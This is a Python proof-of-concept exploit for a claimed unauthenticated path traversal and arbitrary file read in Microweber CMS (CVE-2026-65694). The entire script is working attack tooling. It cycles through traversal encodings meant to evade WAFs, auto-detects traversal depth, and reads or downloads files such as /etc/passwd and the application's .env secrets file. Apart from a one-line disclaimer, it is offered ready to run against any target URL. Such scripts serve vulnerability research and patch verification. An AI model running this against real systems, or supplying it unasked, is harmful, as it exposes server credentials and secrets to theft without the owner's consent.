#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-65694 - Microweber CMS Unauthenticated Path Traversal / Arbitrary File Read

Vulnerable route:  GET /userfiles/{path}   ->  ServeStaticFileContoller@serveFromUserfiles
Root cause:        $path = $request->path;   (Laravel magic __get: the ?path= query
                   parameter overrides the {path} route segment). normalize_path() does
                   NOT strip "..", so an unauthenticated attacker reads any file the
                   web-server user can access, outside the userfiles/ directory.

Affected:          Microweber <= 2.0.20 / current master (public/-docroot deployments)
Note:              Files with a .php/.phtml/.php7 extension are blocked (403) by the
                   controller's skip_ext list; everything else is readable.

Author:            Bobur Abdugafforov
For authorized security testing only.

Usage:
    python3 poc.py -u http://TARGET --check
    python3 poc.py -u http://TARGET -r /etc/passwd
    python3 poc.py -u http://TARGET -d /etc/passwd -o passwd.txt
"""

import argparse
import sys
import os
import random
import string
import urllib.parse
import requests

requests.packages.urllib3.disable_warnings()  # noqa


class C:
    G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"; B = "\033[94m"; D = "\033[2m"; X = "\033[0m"
def ok(m):   print(f"{C.G}[+]{C.X} {m}")
def err(m):  print(f"{C.R}[-]{C.X} {m}")
def info(m): print(f"{C.B}[*]{C.X} {m}")
def warn(m): print(f"{C.Y}[!]{C.X} {m}")

BANNER = f"""{C.R}
  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
{C.D}  by Bobur Abdugafforov{C.X}
"""

PHP_BLOCKED = ("php", "phtml", "php7")


def _normalize_url(u):
    """Accept bare hosts / missing scheme; return a usable base URL."""
    u = u.strip().rstrip("/")
    if not u:
        return u
    if not u.startswith(("http://", "https://")):
        # assume https for :443, else http; caller then follows redirects to correct it
        u = ("https://" if u.endswith(":443") else "http://") + u
    return u


class MicroweberExploit:
    # traversal encodings tried in order (WAF/normalizer bypass)
    TRAVERSALS = ("../", "..%2f", "..%2F", "%2e%2e%2f", "....//")

    def __init__(self, base_url, timeout=15, proxy=None, max_depth=14, verbose=False,
                 retries=2):
        self.base = _normalize_url(base_url)
        # (connect, read) timeout: fail fast on connect, allow slow reads
        self.timeout = (min(7, timeout), timeout)
        self.verbose = verbose
        self.retries = retries
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers.update({"User-Agent": "Mozilla/5.0 (CVE-2026-65694 PoC)"})
        if proxy:
            self.s.proxies = {"http": proxy, "https": proxy}
        self.max_depth = max_depth
        self.last_depth = None
        self.unreachable = False       # set once the host proves unreachable -> stop retrying
        self._trav = None              # traversal encoding that worked (locked in after 1st hit)
        self._probe_base()

    def _rand(self, n=8):
        return "".join(random.choice(string.ascii_lowercase) for _ in range(n))

    def _probe_base(self):
        """Hit the base URL once, following redirects, and adopt the final scheme/host/port.
        Fixes http->https (and www/host) redirects up front so exploit requests land right."""
        try:
            r = self.s.get(self.base + "/", timeout=self.timeout, allow_redirects=True)
            final = urllib.parse.urlsplit(r.url)
            if final.scheme and final.netloc:
                new = f"{final.scheme}://{final.netloc}"
                if new.rstrip("/") != self.base.rstrip("/"):
                    if self.verbose:
                        info(f"following redirect: base -> {new}")
                    self.base = new.rstrip("/")
        except requests.exceptions.SSLError:
            # https handshake failed on an http-only host: downgrade and retry once
            if self.base.startswith("https://"):
                self.base = "http://" + self.base[len("https://"):]
                if self.verbose:
                    warn("SSL failed; retrying over http://")
                self._probe_base()
        except requests.RequestException as e:
            if self.verbose:
                warn(f"base probe failed (continuing): {e}")

    def _request(self, traversal):
        seg = self._rand()  # random, non-existent segment so the request routes to Laravel
        q = urllib.parse.urlencode({"path": traversal}, safe="%")  # keep our own %-encoding intact
        url = f"{self.base}/userfiles/{seg}?{q}"
        if self.verbose:
            info(f"GET {url}")
        for attempt in range(self.retries + 1):
            try:
                # follow redirects so a per-request http->https redirect still resolves;
                # content is validated by the caller, so a redirected 200 can't false-positive --check
                return self.s.get(url, timeout=self.timeout, allow_redirects=True)
            except (requests.exceptions.ConnectionError,
                    requests.exceptions.ConnectTimeout) as e:
                # host-level failure: identical for every depth -> stop the whole run
                self.unreachable = True
                if self.verbose:
                    err(f"connection failed: {e}")
                return None
            except requests.exceptions.ReadTimeout:
                if self.verbose:
                    warn(f"read timeout (attempt {attempt+1}/{self.retries+1})")
                continue   # transient: retry this request
            except requests.RequestException as e:
                if self.verbose:
                    err(f"request error: {e}")
                return None
        return None

    @staticmethod
    def _blocked_ext(path):
        base = os.path.basename(path)
        ext = base.rsplit(".", 1)[-1].lower() if "." in base else ""
        return ext in PHP_BLOCKED

    def read(self, target, fixed_depth=None):
        """Read an arbitrary file (absolute like /etc/passwd, or app-relative like .env).
        Auto-detects traversal depth and encoding. Returns bytes on success, None on failure."""
        if self.unreachable:
            return None
        rel = target.lstrip("/")
        if self._blocked_ext(rel):
            warn(f"'{target}' ends in .php/.phtml/.php7 - blocked (403) by the controller.")
        # once one encoding works, reuse it; otherwise try each in turn
        encodings = [self._trav] if self._trav else list(self.TRAVERSALS)
        depths = [fixed_depth] if fixed_depth is not None else range(0, self.max_depth + 1)
        for enc in encodings:
            for d in depths:
                if self.unreachable:
                    return None
                r = self._request((enc * d) + rel)   # enc already carries its own separator
                if r is None:
                    if self.unreachable:
                        return None
                    continue
                if r.status_code == 200 and r.content:
                    self.last_depth = d
                    self._trav = enc
                    return r.content
        return None

    def check(self):
        """Return True if the target is vulnerable, False otherwise. Does not print file data."""
        info(f"Testing target: {self.base}")
        data = self.read("/etc/passwd")
        if data and b"root:" in data:
            ok(f"VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth {self.last_depth})")
            return True
        if self.unreachable:
            err("Target UNREACHABLE (connection refused / timed out). Check host, port, and network.")
            return False
        data = self.read("/windows/win.ini")   # windows fallback
        if data and b"[" in data:
            ok(f"VULNERABLE - CVE-2026-65694 confirmed on Windows target (traversal depth {self.last_depth})")
            return True
        if self.unreachable:
            err("Target UNREACHABLE (connection refused / timed out). Check host, port, and network.")
            return False
        err("NOT VULNERABLE - reachable, but no out-of-bounds file read (patched or not Microweber).")
        return False

    def download(self, target, out_path, fixed_depth=None):
        data = self.read(target, fixed_depth=fixed_depth)
        if data is None:
            err(f"Could not read '{target}'")
            return False
        with open(out_path, "wb") as f:
            f.write(data)
        ok(f"Downloaded '{target}' -> {out_path} ({len(data)} bytes, traversal depth {self.last_depth})")
        return True


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-65694 - Microweber unauthenticated arbitrary file read PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""examples:
  %(prog)s -u http://target:8080 --check
  %(prog)s -u http://target:8080 -r /etc/passwd
  %(prog)s -u http://target:8080 -r .env
  %(prog)s -u http://target:8080 -d /etc/passwd -o passwd.txt
""")
    ap.add_argument("-u", "--url", required=True, help="target base URL, e.g. http://host:8080")
    ap.add_argument("--check", action="store_true", help="check whether the target is vulnerable")
    ap.add_argument("-r", "--read", metavar="FILE", help="read a file and print it to stdout")
    ap.add_argument("-d", "--download", metavar="FILE", help="read a file and save it locally")
    ap.add_argument("-o", "--output", metavar="FILE", help="output path for --download (default: basename)")
    ap.add_argument("--depth", type=int, help="fixed traversal depth (default: auto-detect)")
    ap.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--timeout", type=int, default=15)
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if not (args.check or args.read or args.download):
        ap.error("choose an action: --check, -r/--read FILE, or -d/--download FILE")

    print(BANNER)
    x = MicroweberExploit(args.url, timeout=args.timeout, proxy=args.proxy, verbose=args.verbose)

    rc = 0
    if args.check:
        if not x.check():
            rc = 2
    if args.read:
        data = x.read(args.read, fixed_depth=args.depth)
        if data is None:
            err(f"Could not read '{args.read}'"); rc = 2
        else:
            sys.stdout.buffer.write(data)
            if not data.endswith(b"\n"):
                sys.stdout.buffer.write(b"\n")
    if args.download:
        out = args.output or os.path.basename(args.download.rstrip("/")) or "download.bin"
        if not x.download(args.download, out, fixed_depth=args.depth):
            rc = 2
    sys.exit(rc)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\ninterrupted")